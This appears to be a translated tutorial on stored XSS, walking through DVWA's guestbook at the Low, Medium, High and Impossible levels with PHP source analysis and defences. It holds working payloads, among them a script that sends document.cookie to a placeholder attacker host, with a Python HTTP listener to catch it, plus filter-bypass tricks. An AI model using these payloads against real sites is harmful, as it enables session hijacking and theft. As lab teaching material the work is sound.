Detailed teaching of XSS attack in web security (Part Two)

0 25
prefaceIn the previous article, we introduced theReflective XSSandDOM-based XSS...

preface

In the previous article, we introduced theReflective XSSandDOM-based XSS attackas well as the full tutorial analysis of Xss-Labs, the next part to introduce is the teaching of persistent XSS attack (prohibited for illegal use), which is another common type of XSS attack. Stored XSS attack occurs in the attackerThe malicious script is stored on the target server, and when other users access the infected page, the malicious script will be executed.

Stored XSS (Persistent XSS)

Stored XSS, also known as persistent XSS, differs significantly from reflective XSS in that the attack script is permanently stored on the target server (database, memory, file system, etc.), so there is no need to submit XSS code again when requesting the target page next time. It is somewhat similar to SQL injection, but it is different from SQL injection.

Detailed teaching of XSS attack in web security (Part Two)

This kind of attack is often seen in forums, where the attacker injects malicious scripts along with normal information into the content of the post during the posting process. As the post is stored by the forum server, the malicious script is also permanently stored in the backend storage of the forum server. When other users browse the post that has been injected with the malicious script, the malicious script will be executed in their browsers, thus they are attacked.

The three of persistent XSSBig feature:

  1. Persistent, planted in the database;

  2. The impact is wide, even allowing users' machines to become zombies for DDoS attacks;

  3. Steal sensitive and private user information.

How to defend against it?

  1. Before the back-end stores data, it should choose not to trust any front-end data, and uniformly escape all fields;

  2. The back-end should uniformly perform escaping processing on the data output to the front-end;

  3. When rendering the page DOM, the front-end should choose not to trust any backend data, and any field needs to be escaped.

Vulnerability reproduction -- DVWA

LOW

Attempt to inject JavaScript script

<script>alert()</script>

image-20240615204140603

Normal injection executed successfully

image-20240615204226430

Attempt to analyze the source code, completely without XSS protection, and the protection against SQL injection is not thorough.


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// The trim() function can only remove the leading and trailing characters of the string, here there is no second parameter, the default is to remove leading and trailing spaces
$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );


$message = stripslashes( $message );
// The mysqli_real_escape_string() function escapes special characters (including NUL (ASCII 0), \n, \r, \, ', \
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// The SQL statement to be executed
$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

There are also a total of attack methods using XSS attacks to obtain cookies, payload as follows

<script>document.write('<img src="http://ip:9999/'+document.cookie+'"/>')</script>

SimplifiedlyMethods to start HTTP protocolThere are two types:

(1) Using python2:

python2 -m SimpleHTTPServer 8899

(2) Using python3:

python3 -m http.server 8899

image-20240615212548644

Inject payload

image-20240615212932065

Successfully obtained cookie information

image-20240615212834922

P.S. It was also found during testing that every time the browser's refresh button is clicked, a new guestbook record is generated. This should be a low-level level without prevention.Form resubmissionaction.

image-20240615213345831



Medium

Try to inject using the content from the previous level.

image-20240615204624991

Injection failed

image-20240615204633162

Try blind injection into the first box, and the input box limits the length of the text

image-20240615204936880

It seems to have an effect

image-20240615204949014

Try to modify the input length limit of the input box

image-20240615205122365

Payload as follows

<a href="https://www.freebuf.com/articles/es/javascript:alert()">alert()</a>


image-20240615205216070

Injection successful

image-20240615205310458

Source Code Analysis

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );
// strip_tags() function is used to remove HTML and PHP tags from the string
// addslashes() is used to add a backslash before the single quote (')、double quote ("）、backslash (\) and NULL character (\0) in the string
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// htmlspecialchars() is used to convert special characters to HTML entities, including &、<、>、'、"
$message = htmlspecialchars( $message );

// Replace the specified string with an empty string
$name = str_replace('<script>', '', $name);
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

A careful analysis of the source code will show that it only performs a strip_tags character judgment on the message box function, but does not judge the value of the name box. Here it is just to delete script, so we can try the following two methods:

  1. Double write bypass, for example<sc<script>ript>alert()<sc<script>ript>

  2. Case-insensitive bypass, change the tag name to<sCript>, any character in uppercase is enough


High

Single tag

Use the payload from the previous level to test

image-20240615205604344

Failed

image-20240615205620069

Try half-package, and it was found that characters were escaped.

image-20240615205859549

Try a single tag img and add the click event onclick to inject successfully

<img src=https://www.freebuf.com/articles/es/1 onclick=alert() /><!--Note that the space must not be missing-->

image-20240615210502287


cookie

Obtaining cookies in the case of a single tag, the payload is as follows

<img src=https://www.freebuf.com/articles/es/1 onclick="document.write('<img src="http://ip:9999/'+document.cookie+'"/>')" />

image-20240615222704367

The http port did not detect cookie information and the attempt failed

image-20240615222919091

After trying svg, it didn't work either. At a loss, I thought of this taginput, onchange event

<input onchange="alert()">

image-20240615223348575

It worked! So let's use this input tag to get the cookie information of our dvwa site

<input οnchange="document.write('<img src="http://ip:999/'+document.cookie+'"/>')">

emmmm, I've tried several times and the injection failed, I don't know why

image-20240615225617204

Look at the source code.....


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

image-20240615230514824

I'm at a loss with preg_replace regular expression replacement. Can anyone help me out? T_T


IMPOSSIBLE

Source Code Analysis


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// The checkToken() function checks if the token exists, uses csrf_token to prevent CSRF attacks, and solves the problem of form resubmission
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Remove spaces from both ends of the parameters
$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );

// Remove backslashes from the message box
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Convert the value in the message box to HTML entities
$message = htmlspecialchars( $message );

// Remove backslashes from name
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars($name);

// Execute SQL statement and use PDO for prepared statement to prevent SQL injection attacks
$data = $db->prepare('INSERT INTO guestbook (comment, name) VALUES (:message, :name);');
$data->bindParam(':message', $message, PDO::PARAM_STR);
$data->bindParam(':name', $name, PDO::PARAM_STR);
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>


Original link:https://mp.weixin.qq.com/s/PKs1TTg8XyU-UBOZTY5Olg

你可能想看：

d) Adopt identification technologies such as passwords, password technologies, biometric technologies, and combinations of two or more to identify users, and at least one identification technology sho

Data security can be said to be a hot topic in recent years, especially with the rapid development of information security technologies such as big data and artificial intelligence, the situation of d

Cloud Migration Security (Part Two)： Understanding AWS Cloud Security Strategies from the Perspective of Buying and Decorating a House

Article 2 of the Cryptography Law clearly defines the term 'cryptography', which does not include commonly known terms such as 'bank card password', 'login password', as well as facial recognition, fi

Attackers of the SolarWinds Web Help Desk vulnerability can access stored passwords, and a PoC has been released.

Distributed Storage Technology (Part 2)： Analysis of the architecture, principles, characteristics, and advantages and disadvantages of wide-column storage and full-text search engines

A brief discussion on security detection in the context of security attack and defense scenarios

Announcement regarding the addition of 7 units as technical support units for the Ministry of Industry and Information Technology's mobile Internet APP product security vulnerability database

Grade Protection Evaluation： Detailed Explanation of CentOS Login Failure Parameters and Two-Factor Authentication

Common attack methods used to conceal real IP addresses in network attacks and methods for tracing and tracing false IP addresses

最后修改时间：
admin

本文仅代表作者观点，不代表平台立场

内容由 admin 发布，转载请注明内容出处

上一篇 2025年03月28日 11:11
下一篇 2025年03月28日 11:34

评论已关闭